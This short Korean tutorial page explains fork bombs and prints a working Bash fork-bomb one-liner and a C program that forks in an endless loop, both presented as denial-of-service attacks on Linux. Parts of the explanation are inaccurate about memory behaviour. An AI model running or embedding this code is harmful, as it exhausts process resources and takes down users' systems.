Computer >> 컴퓨터 >  >> 프로그램 작성 >> C 프로그래밍

C 대 BASH 포크 폭탄?

<시간/>

Fork() 폭탄은 Linux 기반 시스템에 대한 Dos(서비스 거부) 공격입니다. 이것은 프로그램의 메모리를 채우고 시스템을 손상시키려는 Fork() 시스템을 무한번 호출합니다.

포크 폭탄을 위한 Bash 스크립트

:(){ :|: & };:

:( )로 설명된 코드는 함수 정의이고, { }는 루프의 본문을 정의합니다. :|:&메모리 위치를 만들고 할당 해제를 허용하지 않습니다. 이 프로그램은 자신을 여러 번 반복해서 호출합니다. 따라서 무한 호출을 호출합니다.

C 포크 폭탄도 Dos와 같은 유형이지만 C 컴파일러에서 실행할 수 있습니다. 이는 메모리 할당에 대한 무한 호출을 생성하고 시스템을 메모리 부족으로 실행합니다.

예시

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

출력

Infinite calls